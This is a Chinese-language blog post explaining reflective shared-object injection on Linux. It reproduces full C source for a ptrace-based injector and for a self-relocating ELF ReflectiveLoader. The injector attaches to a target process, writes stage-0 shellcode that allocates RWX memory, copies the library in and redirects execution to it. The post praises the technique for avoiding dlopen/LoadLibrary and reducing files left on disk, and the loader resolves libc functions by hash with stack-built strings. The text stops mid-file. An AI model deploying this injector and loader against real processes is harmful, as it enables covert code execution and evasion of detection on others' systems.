为了账号安全,请及时绑定邮箱和手机立即绑定

反射式注入

标签:
C++


源码:(linux win)

https://github.com/haidragon/ReflectiveInjection

原理是:

写一个注入器先把要注入的dll或so文件注入到目标进程。这里还是存在注入(我感觉就是一般注入,只是加了个自己修复利重定位),注入但不通过api(dlopen,LoadLibrary)加载,只是把他映射到内存。必须要做的是动态库中要导出一个函数。用来自行加载。也就是自己修复自己的重定位。这个函数的调用地方在你注入后。然后eip(rip)指向那个函数地址(必须通过解析PE ELF文件找到它)。

优势:

不依赖dlopen或LoadLibrary函数。 减少了文件“落地”。

缺点:

要自己修复重定位。必须导出一个ReflectiveLoader函数。

linux

inject.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/user.h>

#include <wait.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/mman.h>

#include <sys/syscall.h>

#include <elf.h>

#include "utils.h"

#include "ptrace.h"

/*

 * Copy a file from disk into a memory buffer. WARNING Does not check size!

 */

__attribute__((always_inline)) inline unsigned int 

copy_in(int fd, void *address)

{

    int cc;

    off_t offset = 0;

    char buf[1024];

    while (0 < (cc = read(fd, buf, sizeof(buf))))

    {

        memcpy((address + offset), buf, cc);

        offset += cc;

    }

    return offset;

}

//将共享对象映射到内存并返回指向它的指针,如果出现错误,则返回null

Elf64_Ehdr* map_shared_object_into_memory(char *path)

{

    struct stat sb;

    unsigned int fd;

    fd = open(path, O_RDONLY);

    if(fd == -1)

    {

        printf("[-] Could not open shared object\n");

        exit(-1);

    }

    if (0 > stat(path, &sb))

    {

        return NULL;

    }

    void *mapped = mmap(NULL, sb.st_size + 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    if(mapped == -1)

    {

        return NULL;

    }

    mapped += (unsigned long)(0x1000 - ((unsigned long)mapped & 0x00000FFF));

    //Copy file on disk into memory map

    copy_in(fd, mapped);

    close(fd);

    return (Elf64_Ehdr *)mapped;

}

__attribute__((always_inline)) inline void*

crt_mmap(void *start, unsigned long length, int prot, int flags, int fd, unsigned long offset)

{

    void *ret;

    register long r10 asm("r10") = flags;

    register long r9 asm("r9") = offset;

    register long r8 asm("r8") = fd;

    __asm__ volatile ("syscall" : "=a" (ret) : "a" (__NR_mmap),

              "D" (start), "S" (length), "d" (prot), "r" (r8), "r" (r9), "r" (r10) : 

              "cc", "memory", "rcx", "r11");

    return ret;

}

/*

 * Allocate RWX memory region to copy shared object into (this is stage0 shellcode which is injected into target process)

 */

void* injectSharedLibrary(unsigned int size)

{

    return crt_mmap(NULL, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

}

/*

 * injectSharedLibrary_end()

 *

 * This function's only purpose is to be contiguous to injectSharedLibrary(),

 * so that we can use its address to more precisely figure out how long

 * injectSharedLibrary() is.

 *

 */

void injectSharedLibrary_end()

{

}

int main(int argc, char** argv)

{

    if(argc < 4)

    {

        usage(argv[0]);

        return 1;

    }

    char* command = argv[1];

    char* commandArg = argv[2];

    char* libname = argv[3];

    //realpath是用来将参数path所指的相对路径转换成绝对路径

    char* libPath = realpath(libname, NULL);

    Elf64_Ehdr *so;

    char* processName = NULL;

    pid_t target = 0;

    struct user_regs_struct oldregs, regs;

    if(!libPath)

    {

        fprintf(stderr, "can't find file \"%s\"\n", libname);

        return 1;

    }

    //commandArg为名称的时候

    if(!strcmp(command, "-n"))

    {

        processName = commandArg;

        //通过进程名称找到它的pid

        target = findProcessByName(processName);

        if(target == -1)

        {

            fprintf(stderr, "doesn't look like a process named \"%s\" is running right now\n", processName);

            return 1;

        }

        printf("[i] targeting process \"%s\" with pid %d\n", processName, target);

    }

     //commandArg为pid的时候

    else if(!strcmp(command, "-p"))

    {

        target = atoi(commandArg);

        printf("[i] targeting process with pid %d\n", target);

    }

    else

    {

        usage(argv[0]);

        return 1;

    }

    //Save registers and ptrace_attach to process

    memset(&oldregs, 0, sizeof(struct user_regs_struct));

    memset(®s, 0, sizeof(struct user_regs_struct));

    //附加

    ptrace_attach(target);

    //获取寄存器

    ptrace_getregs(target, &oldregs);

    memcpy(®s, &oldregs, sizeof(struct user_regs_struct));

    //Load shared object into memory 

    //映射so文件 

    so = map_shared_object_into_memory(libPath);

    printf("[+] shared object mapped at %p\n", so);

    if(so == NULL)

    {

        printf("[-] Failed to load our shared object into memory... exiting..\n");

    }

    //Determine if SO exports a function called ReflectiveLoader if it does not then we should exit

    //确定是否导出一个称为ReflectiveLoader的函数,如果它不存在,那么退出

    Elf64_Phdr *phdr = so->e_phoff + (void *)so;

    Elf64_Dyn *dynamic;

    Elf64_Sym *dynsym;

    char *dynstr;

    void* ReflectiveLoader = 0;

    //Find dynamic segment

    for(int i = 0; i < so->e_phnum; i++) 

    {   

        if(phdr[i].p_type == PT_DYNAMIC)

        {

            dynamic = phdr[i].p_offset + (void *)so;

            printf("[+] found dynamic segment at %p\n", dynamic);

            break;

        }

    }

    //Find .dynsym table for our SO

    for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)

    {

        if(dynamic[i].d_tag == DT_SYMTAB)

        {

            dynsym = (unsigned long)dynamic[i].d_un.d_val + (unsigned long)so;

            printf("[+] dynsym found at address %p\n", dynsym);

            break;

        }

    }

    //find .dynstr table for our SO

    for(int i = 0; dynamic[i].d_tag != DT_NULL; i++)

    {

        if(dynamic[i].d_tag == DT_STRTAB)

        {

            dynstr = (char *)(dynamic[i].d_un.d_val) + (unsigned long)so;

            printf("[+] dynstr found at address %p\n", dynstr);

            break;          

        }

    }

    //Find address of ReflectiveLoader symbol.. either it blows up here or the SO exports ReflectiveLoader function ;)

    for(int i = 0; ;i++) 

    {

        if(strcmp((dynsym[i].st_name + dynstr), "ReflectiveLoader") == 0)

        {

            ReflectiveLoader = dynsym[i].st_value;

            printf("[+] Resolved ReflectiveLoader offset to %p\n", ReflectiveLoader);

            break;      

        }

    }

    //Calculate the size of our injection shellcode

    struct stat sb;

    //就是so文件的大小

    stat(libPath, &sb);

    unsigned int size = sb.st_size;

    //Find some executable memory which we can use to write our shellcode into

    //找到一些可执行的内存,用来编写代码 

    long addr = freespaceaddr(target) + sizeof(long);

    //Setup registers to correct location

    printf("[i] Setting target registers to appropriate values\n");

    regs.rip = addr;

    regs.rdi = size + 0x1000;

    regs.rax = 9;

    regs.rdx = 7;

    regs.r8 = -1;

    regs.r9 = 0;

    regs.r10 = 34;

    ptrace_setregs(target, ®s);

    // figure out the size of injectSharedLibrary() so we know how big of a buffer to allocate. 

    size_t injectSharedLibrary_size = (intptr_t)injectSharedLibrary_end - (intptr_t)injectSharedLibrary;

    // back up whatever data used to be at the address we want to modify.

    //备份要修改的地址所使用的任何数据

    char* backup = malloc(injectSharedLibrary_size * sizeof(char));

    ptrace_read(target, addr, backup, injectSharedLibrary_size);

    // set up a buffer to hold the code we're going to inject into the

    // target process.

    //设置一个缓冲区来保存将要注入目标进程的代码

    char* newcode = malloc(injectSharedLibrary_size * sizeof(char));

    memset(newcode, 0, injectSharedLibrary_size * sizeof(char));

    // copy the code of injectSharedLibrary() to a buffer.

    memcpy(newcode, injectSharedLibrary, injectSharedLibrary_size - 1);

    // find return address of injectSharedLibrary and overwrite it with software breakpoint

    //找到注入共享库的返回地址并用软件断点重写

    intptr_t injectSharedLibrary_ret = (intptr_t)findRet(injectSharedLibrary_end) - (intptr_t)injectSharedLibrary;

    newcode[injectSharedLibrary_ret] = INTEL_INT3_INSTRUCTION;

    // copy injectSharedLibrary()'s code to the target address

    printf("[i] Overwriting target memory region with shellcode\n");

    ptrace_write(target, addr, newcode, injectSharedLibrary_size);

    //let the target run our injected code

    printf("[+] Transfering execution to stage 0 shellcode\n");

    //run

    ptrace_cont(target);

    // at this point, the target should have run mmap

    //此时,目标应该已经运行MMAP

    struct user_regs_struct mmap_regs;

    memset(&mmap_regs, 0, sizeof(struct user_regs_struct));

    ptrace_getregs(target, &mmap_regs);

    unsigned long long targetBuf = mmap_regs.rax;

    printf("[+] Returned from Stage 0 shell code RIP of target is %p\n", mmap_regs.rip);

    printf("[i] Stage 0 mmap returned memory address of %p.. verifying allocation succeeded..\n", mmap_regs.rax);

    //判断是否为读写执行

    if(isRWX(target, mmap_regs.rax) == -1)

    {

        fprintf(stderr, "mmap() failed to allocate memory\n");

        //还原现场断续执行

        restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);

        free(backup);

        free(newcode);

        return -1;

    }

    printf("[+] Okay.. mmap allocation was successful!\n");

    //Get page aligned address of RWX memory region in target process

    void *so_inject_addr = mmap_regs.rax;

    so_inject_addr += (unsigned long)(0x1000 - ((unsigned long)so_inject_addr & 0x00000FFF));

    printf("[+] Writing our shared object into the victim process address space MUAHAHAHA!!!\n");

    //ptrace_write our SO into this buffer (could use process_vm_writev to speed up transfer of data)

    ptrace_write(target, (unsigned long)so_inject_addr, (void *)so, size);

    printf("[+] Setting RIP to ReflectiveLoader function\n");

    //Modify program registers to point to this memory region and call the ReflectiveLoader function

    regs.rip = (unsigned long)ReflectiveLoader + so_inject_addr;

    ptrace_setregs(target, ®s);

    printf("[+] Calling ReflectiveLoader function! Let's hope this works ;D\n");

    ptrace_cont(target);

    //Restore state and detach

    restoreStateAndDetach(target, addr, backup, injectSharedLibrary_size, oldregs);

    free(backup);

    free(newcode);

}

//ReflectiveLoader.c

//===============================================================================================//

// Copyright (c) 2016, Infosec Guerilla (infosecguerrilla.wordpress.com)

// All rights reserved.

// 

// Redistribution and use in source and binary forms, with or without modification, are permitted 

// provided that the following conditions are met:

// 

//     * Redistributions of source code must retain the above copyright notice, this list of 

// conditions and the following disclaimer.

// 

//     * Redistributions in binary form must reproduce the above copyright notice, this list of 

// conditions and the following disclaimer in the documentation and/or other materials provided 

// with the distribution.

// 

//     * Neither the name of Harmony Security nor the names of its contributors may be used to

// endorse or promote products derived from this software without specific prior written permission.

// 

// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 

// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND

// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 

// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 

// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 

// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 

// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 

// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 

// POSSIBILITY OF SUCH DAMAGE.

//===============================================================================================//

#include "ReflectiveLoader.h"

//===============================================================================================//

//  Debug mode used to test loader capabilities                                                  //

//===============================================================================================//

#ifdef RSOI_DEBUG_MODE

#define debug(M, ...) { \

printf("DEBUG %s:%d: " M "\n", __FILE__, __LINE__, ##__VA_ARGS__); \

}

#else

#define debug(M, ...)

#endif

//===============================================================================================//

#ifdef RSOI_DEBUG_MODE

int main(int argc, char *argv[])

{

    if(argc < 2)

    {

        printf("Usage: %s <file path of SO to test loading>\n", argv[0]);

        return -1;

    }

    ReflectiveLoader(argv[1]);

    return 0;

}

#endif

//===============================================================================================//

/*

 * This is a position independent ELF loader which is capable of being used to allow

 * a program to load itself into memory. 

 *

 * More details on the implementation of this loader can be found at the following address

 * https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 

 *

 */

#ifdef RSOI_DEBUG_MODE

int ReflectiveLoader(char *debugFile)

#else

int ReflectiveLoader()

#endif

{   

    ELF_FILE this; /* ELF file we are going to be loading since we are loading ourselves into memory it is this file */

    ELF_FILE libc; /* C library we are using to find dynamic linker functions */

    /* 

    * Functions we need from libc for ELF loading, we resolve these on 

    * the fly by locating LIBC and finding these functions ourselves 

    */

    int   (*libc_mprotect)(void *addr, size_t len, int prot);

    void* (*libc_calloc)(size_t, size_t size);

    void* (*libc_dlsym)(void *, char *);

    void* (*libc_dlopen)(char *, int mode);

    int   (*libc_dlclose)(void *);

    void*  (*libdl_dlsym)(void *handle, const char *symbol); /* We used dlsym because it is able to handle IFUNC function type something __libc_dlsym cannot for some reason   */

                                                     /* See this post for more information - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */

    unsigned int index;

    char libdl_s[11];

         libdl_s[0] = 'l';

         libdl_s[1] = 'i';

         libdl_s[2] = 'b';

         libdl_s[3] = 'd';

         libdl_s[4] = 'l';

         libdl_s[5] = '.';

         libdl_s[6] = 's';

         libdl_s[7] = 'o';

         libdl_s[8] = '.';

         libdl_s[9] = '2';

         libdl_s[10] = '\0';

    char dlsym_s[6];

         dlsym_s[0] = 'd';

         dlsym_s[1] = 'l';

         dlsym_s[2] = 's';

         dlsym_s[3] = 'y';

         dlsym_s[4] = 'm';

         dlsym_s[5] = '\0';

    //Locate libc in memory

    libc.baseaddr = get_libc_base_addr();

    libc.header = (Elf64_Ehdr *)libc.baseaddr;

    libc.segments = libc.header->e_phoff + libc.baseaddr;

    debug("[+] LIBC base address found at %p", libc.baseaddr);

    //Locate ELF header for this file

    this.header = find_elf_header();

    debug("[+] Found my ELF header at %p", this.header);

#ifdef RSOI_DEBUG_MODE /* Debug mode testing loader capabilities while being able to print debug info */

    this.header = load_file_debug_mode(debugFile);

    debug("[+] Debug header located at %p", this.header);

#endif

    this.segments = this.header->e_phoff + (void *)this.header; /* Program Segments */

    this.sections = this.header->e_shoff + (void *)this.header; /* Program Sections */

    //Find dynamiic program segment for libc

    debug("[i] Looking for dynamic program segment for libc in program headers");

    for(int i = 0; i < libc.header->e_phnum; i++)

    {

        if(libc.segments[i].p_type == PT_DYNAMIC)

        {

            libc.dynamic = libc.segments[i].p_vaddr + libc.baseaddr;

            debug("[+] LIBC PT_DYNAMIC segment at address %p", libc.dynamic);

        }

    }

    //Find .dynsym table for libc

    debug("[i] Looking for dynsym program segment for libc in dynamic segment");

    for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(libc.dynamic[i].d_tag == DT_SYMTAB)

        {

            libc.dynsym = (Elf64_Sym *)libc.dynamic[i].d_un.d_val;

            debug("[+] LIBC dynsym found at address %p", libc.dynsym);

            break;

        }

    }

    //find .dynstr table for libc

    for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(libc.dynamic[i].d_tag == DT_STRTAB)

        {

            libc.dynstr = (char *)(libc.dynamic[i].d_un.d_val);

            debug("[+] LIBC dynstr found at address %p", libc.dynstr);

            break;          

        }

    }

    //find .gnu.hash section 

    for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(libc.dynamic[i].d_tag == DT_GNU_HASH)

        {

            libc.gnu_hash = (char *)(libc.dynamic[i].d_un.d_val);

            debug("[+] LIBC gnu_hash found at address %p", libc.gnu_hash);

            break;          

        }

    }

    if(libc.gnu_hash == NULL)

    {

        debug("[-] Could not find GNU_HASH entry in dynamic segment");

        return -1;  

    }

    debug("[i] Resolving addresses of runtime dependencies");

    //Resolve functions needed to run

    unsigned int count = 0;

    for(int i = 0; ;i++) /* You can also calculate the number of dynsym entries by looking in HASH or GNU_HASH tables */

    {

        if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLOPEN_HASH)

        {

            libc_dlopen = libc.dynsym[i].st_value + libc.baseaddr;

            debug("[+] Found dlopen at %p", libc_dlopen);

            count++;

        }

        if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLCLOSE_HASH)

        {       

            libc_dlclose = libc.dynsym[i].st_value + libc.baseaddr;

            debug("[+] Found dlclose at %p", libc_dlclose);

            count++;

        }   

        if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLSYM_HASH)

        {       

            libc_dlsym = libc.dynsym[i].st_value + libc.baseaddr;

            debug("[+] Found dlsym at %p", libc_dlsym);

            count++;

        }       

        if(hash(libc.dynsym[i].st_name + libc.dynstr) == CALLOC_HASH)

        {       

            libc_calloc = libc.dynsym[i].st_value + libc.baseaddr;

            debug("[+] Found calloc at %p", libc_calloc);

            count++;

        }       

        if(hash(libc.dynsym[i].st_name + libc.dynstr) == MPROTECT_HASH)

        {   

            libc_mprotect = libc.dynsym[i].st_value + libc.baseaddr;

            debug("[+] Found mprotect at %p", libc_mprotect);

            count++;

        }   

        if(count == 5)

        {

            break;

        }

    }

    /* Find dlsym using __libc_dlsym - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */

    void *libdlhandle = (*libc_dlopen)(libdl_s, RTLD_LAZY);

    debug("[+] Opened libdl with handle libdlhandle=%p", libdlhandle);

    libdl_dlsym = (*libc_dlsym)(libdlhandle, dlsym_s);

    debug("[+] Found libdl_dlsym at %p", libdl_dlsym);

    debug("[i] Finished resolving addresses of runtime dependencies");

    debug("[i] Allocating RWX memory to load shared object into and calculating program size");

    //Calculate program base address aligned to page size (0x1000 bytes)

    unsigned int size;

    size = get_program_memory_size(this.header);

    debug("[i] Program size is %u", size);

    //Allocate this memory

    this.baseaddr = (*libc_calloc)(1, size);

    if(this.baseaddr == NULL)

    {

        debug("[-] ERROR libc_calloc failed");

        return -1;

    }

    //Round process base address to page size

    this.baseaddr += (unsigned long)(0x1000 - ((unsigned long)this.baseaddr & 0x00000FFF));

    if((*libc_mprotect)(this.baseaddr, size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0)

    {   

        debug("[-] ERROR mprotect call to create RWX memory region failed and returned with error");

        return -1;

    }

    debug("[+] Shared object baseaddr at %p", this.baseaddr);

    //Map program segments into memory 

    for(int i = 0; i < this.header->e_phnum; i++)

    {

        //Copy loadable segments into memory

        if(this.segments[i].p_type == PT_LOAD)

        {

            debug("[+] PT_LOAD Segment loaded at %p", this.segments[i].p_vaddr + this.baseaddr);

            crt_memcpy(this.baseaddr + this.segments[i].p_vaddr, (void *)this.header + this.segments[i].p_offset, this.segments[i].p_filesz);

        }

    }

    //Find SH_STRTAB

    this.SH_STRTAB = (void *)this.header + this.sections[this.header->e_shstrndx].sh_offset;

    //find this files .dynamic section

    index = find_section_by_hash(DYNAMIC_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);

    this.secdynamic = (Elf64_Shdr *)&this.sections[index];

    this.dynamic = this.secdynamic->sh_addr + this.baseaddr;

    //find this files .dynstr

    index = find_section_by_hash(DYNSTR_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);

    this.secdynstr = (Elf64_Shdr *)&this.sections[index];

    this.dynstr = this.secdynstr->sh_addr + this.baseaddr;

    //find this files .rela.plt section

    index = find_section_by_hash(RELAPLT_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);

    this.secrelaplt = (Elf64_Shdr *)&this.sections[index];

    this.relaplt = this.secrelaplt->sh_addr + this.baseaddr;

    //find this files .rela.dyn section

    index = find_section_by_hash(RELADYN_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);

    this.secreladyn = (Elf64_Shdr *)&this.sections[index];

    this.reladyn = this.secreladyn->sh_addr + this.baseaddr;

    //find this files dynsym section

    index = find_section_by_hash(DYNSYM_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum);

    this.secdynsym = (Elf64_Shdr *)&this.sections[index];

    this.dynsym = this.secdynsym->sh_addr + this.baseaddr;

    //dlopen DT_NEEDED libraries

    unsigned int numNeededLibraries = 0;

    void* *libHandles = NULL;

    unsigned int z = 0;

    //Count number of DT_NEEDED entries

    for(int i = 0; this.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(this.dynamic[i].d_tag == DT_NEEDED)

        {

            numNeededLibraries++;

        }

    }

    libHandles = (*libc_calloc)(sizeof(void *), numNeededLibraries);

    if(libHandles == NULL)

    {

        debug("[-] Memory allocation failed..");

        return -1;

    }

    //Open all libraries required by the shared object in order to execute

    for(int i = 0; this.dynamic[i].d_tag != DT_NULL && z < numNeededLibraries; i++)

    {

        if(this.dynamic[i].d_tag == DT_NEEDED)

        {

            debug("[i] Opening DT_NEEEDED library [%s]", this.dynamic[i].d_un.d_ptr + this.dynstr);

            libHandles[z] = (*libc_dlopen)(this.dynamic[i].d_un.d_ptr + this.dynstr, RTLD_LAZY);

            if(!libHandles[z])

            {

                return -1;

            }

            z++;

        }

    }

    //Resolve PLT references

    for(int i = 0; i < this.secrelaplt->sh_size / sizeof(Elf64_Rela); i++)

    {

        if(ELF64_R_TYPE(this.relaplt[i].r_info) == R_X86_64_JUMP_SLOT)

        {

            void *funcaddr;

            char *symName;

            //Get Index into symbol table for relocation

            index = ELF64_R_SYM(this.relaplt[i].r_info);

            symName = this.dynsym[index].st_name + this.dynstr;

            //If symbol is a local symbol write the address of it into the .got.plt

            if(ELF64_ST_TYPE(this.dynsym[index].st_info) == STT_FUNC && this.dynsym[index].st_shndx != SHN_UNDEF)

            {

                debug("[i] Symbol type is STT_FUNC AND st_shndx IS NOT STD_UNDEF for %s", symName);

                *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr);

            }

            //We need to lookup the symbol searching through DT_NEEDED libraries

            else 

            {

                for(int x = 0; x < numNeededLibraries; x++)

                {

                    funcaddr = (*libdl_dlsym)(libHandles[x], symName);

                    debug("[i] Looking up symbol for %s function address is %p", symName, funcaddr);

                    if(funcaddr != NULL)

                    {

                        *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)funcaddr);

                        break;

                    }                                   

                }

            }   

        }

    }

    //Perform relocations (.rela.dyn)

    for(int i = 0; i < this.secreladyn->sh_size / sizeof(Elf64_Rela); i++)

    {

        if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_64)

        {

            debug("[i] Processing Relocation of type R_86_64_64");          

            index = ELF64_R_SYM(this.reladyn[i].r_info);

            *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[index].st_value + this.reladyn[i].r_addend;

        }   

        /*

         * Lookup address of symbol and store it in GOT entry

         */

        else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_GLOB_DAT)

        {

            debug("[i] Processing Relocation of type R_x86_64_GLOB_DAT %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);

            //Check symbol both locally and globally (searching through DT_NEEDED entries) 

            for(int x = 0; ;x++)

            {

                if(hash(this.dynsym[x].st_name + this.dynstr) == hash(this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr))

                {

                    //If symbol is a local symbol write the address of it into the .got.plt

                    if(this.dynsym[x].st_shndx == SHN_UNDEF)

                    {                       

                        for(int y = 0; y < numNeededLibraries; y++)

                        {

                            void *faddr = libdl_dlsym(libHandles[y], this.dynsym[x].st_name + this.dynstr);

                            debug("[i] Looking up symbol for %s function address is %p", this.dynsym[x].st_name + this.dynstr, faddr);

                            if(faddr != NULL)

                            {

                                *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr))  = (unsigned long )((unsigned long)faddr);

                                break;

                            }                                   

                        }       

                        break;              

                    }

                    //write value into got entry

                    *((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr;

                    break;

                }

            }

        }

        else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_RELATIVE)

        {

            debug("[i] Processing Relocation of type R_x86_64_RELATIVE %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr);

            index = ELF64_R_SYM(this.reladyn[i].r_info);

            *((uint64_t *)((unsigned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr;

        }

    }

    //Close Opened Libraries

    for(int i = 0; i < numNeededLibraries; i++)

    {

        libc_dlclose(libHandles[i]);

    }

    libc_dlclose(libdlhandle);

    //Call constructors of shared object

    debug("[i] Calling shared object constructors");    

    call_program_constructors(this); 

    return 1;

}

//===============================================================================================//

// Reflective ELF Loader Functions

//===============================================================================================//

/*

 * Parse backwards in memory in order to locate the ELF Header of our injected file

 */

__attribute__((always_inline)) inline Elf64_Ehdr* 

find_elf_header() 

{

    unsigned char *IP;

    __asm__("leaq (%%rip), %0;": "=r"(IP));

    //Locate the ELF Header for this file

    while(1 == 1)

    {

        if(check_elf_magic((Elf64_Ehdr *)IP))

        {

            break;

        }   

        IP--;

    }

    return (Elf64_Ehdr*)IP;

}

/*

 * Get the base address of libc by parsing /proc/self/maps (without a C library it is so annoying!)

 */

__attribute__((always_inline)) inline void* 

get_libc_base_addr() 

{

    MAPS_FILE maps;

    int fd;

    struct stat sb;

    MAPS_ENTRY e;

    /* Done this way to ensure relocations are not required 

     * compiler generates a sequence of move instructions writing

     * the string onto the stack. */

    char mapspath[16];  

    mapspath[0]  =  '/';   

    mapspath[1]  =  'p';   

    mapspath[2]  =  'r';

    mapspath[3]  =  'o';

    mapspath[4]  =  'c';

    mapspath[5]  =  '/';

    mapspath[6]  =  's';

    mapspath[7]  =  'e';

    mapspath[8]  =  'l';

    mapspath[9]  =  'f';

    mapspath[10] =  '/';

    mapspath[11] =  'm';

    mapspath[12] =  'a';

    mapspath[13] =  'p';

    mapspath[14] =  's';

    mapspath[15] =  '\0'; 

    char libc[6];

    libc[0] = 'l';

    libc[1] = 'i';

    libc[2] = 'b';

    libc[3] = 'c';

    libc[4] = '-';

    libc[5] = '\0';     

    char perms[5]; 

    perms[0] = 'r';

    perms[1] = '-';

    perms[2] = 'x';

    perms[3] = 'p';

    perms[4] = '\0';

    maps.maps = crt_mmap(NULL, 0x1000 * 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    fd = crt_open("/proc/self/maps", 0, 0);

    maps.size = copy_in(fd, maps.maps);

    maps.pos = maps.maps;

    do

    {

        e = get_next_maps_entry(&maps);

        if(e.name == NULL) /* Entry does not have a name */     

            continue;

        if(crt_strcmp(e.name, &libc) > 0)

        {

            if(crt_strcmp(e.perms, &perms) > 0)

                return e.startaddr;

        }

    } while(e.startaddr != NULL);

    crt_munmap(maps.maps, 0x1000 * 200); //unmap maps file from memory

    crt_close(fd);

}

/*

 * Get the next maps entry in the file

 */

__attribute__((always_inline)) inline MAPS_ENTRY 

get_next_maps_entry(MAPS_FILE *maps)

{

    MAPS_ENTRY entry;

    int valid = 0;

    char *pos = maps->pos;

    char *temp;

    //Check if we have gotten to the end of the maps file

    if(*pos >= (maps->maps + maps->size)) 

        return entry;

    //Get start address

    temp = pos;

    while(*pos != '-') 

    { 

        pos++; 

    } 

    *pos = '\0'; 

    pos++;

    entry.startaddr = convert_string_to_64bit_pointer(temp);

    //Get end address of memory region

    temp = pos;

    while(*pos != ' ') 

    { 

        pos++; 

    }

    *pos = '\0'; 

    pos++;  

    entry.endaddr = convert_string_to_64bit_pointer(temp);

    //Get permissions

    entry.perms = pos;

    //Get name of memory region if it is a shared library name  

    while(*pos != '\n') { if(*pos == '/') { valid = 1; } pos++; } /* Skip over junk data */

    *pos = '\0';

    temp = pos;

    while(*pos != '/' && valid) { pos--; } pos++; /* Get name of shared object if a valid entry */

    entry.name = pos; /* Save this name */

    if(!valid) { entry.name = NULL; }

    pos = temp;

    pos++; //Skip to beginning of next entry

    maps->pos = pos; //Save this position

    return entry;

}

/*

 * Get the amount of memory which needs to be allocated in order to map our program into memory

 * plus some additional padding. 

 */

__attribute__((always_inline)) inline unsigned int

get_program_memory_size(Elf64_Ehdr *header) 

{

    unsigned int size = 0, numPages; 

    Elf64_Phdr *segments = header->e_phoff + (void *)header;

    for(int i = 0; i < header->e_phnum; i++)

    {

        if(segments[i].p_type == PT_LOAD)

        {

            if(segments[i].p_memsz > segments[i].p_align)

            {

                numPages = 1 + (segments[i].p_memsz - segments[i].p_memsz % segments[i].p_align) / segments[i].p_align;

            }           

            else

            {

                numPages = 1;

            }               

            size += segments[i].p_align * numPages;

        }

    }

    size += 0x2000; //padding

    return size;

}

__attribute__((always_inline)) void inline

call_program_constructors(ELF_FILE e) 

{

    int INIT_ARRAYSZ = 0;

    void* *INIT_ARRAY;

    void (*constructor)();

    //find DT_INIT_ARRAYSZ

    for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(e.dynamic[i].d_tag == DT_INIT_ARRAYSZ)

        {

            INIT_ARRAYSZ = e.dynamic[i].d_un.d_ptr; 

            break;      

        }

    }

    //find DT_INIT_ARRAY

    for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++)

    {

        if(e.dynamic[i].d_tag == DT_INIT_ARRAY)

        {

            INIT_ARRAY = e.dynamic[i].d_un.d_ptr + e.baseaddr;

            break;          

        }

    }

    //Call constructors in shared object

    for(int i = 1; i < INIT_ARRAYSZ; i++)

    {

        constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr;

        if(INIT_ARRAY[i] == 0)

            break;

        debug("[i] Calling constructor %p", constructor);

        constructor();

    }

}

/* check elf header */

__attribute__((always_inline)) inline unsigned int

check_elf_magic(Elf64_Ehdr *elfHdr)

{

    if(elfHdr->e_ident[0] == 0x7f)

    {

        if(elfHdr->e_ident[1] == 0x45)

        {

            if(elfHdr->e_ident[2] == 0x4c)

            {

                if(elfHdr->e_ident[3] == 0x46)

                {

                    return 1;

                }

            }

        }

    }

    return 0;

}

/* Find elf section given a name and hash */

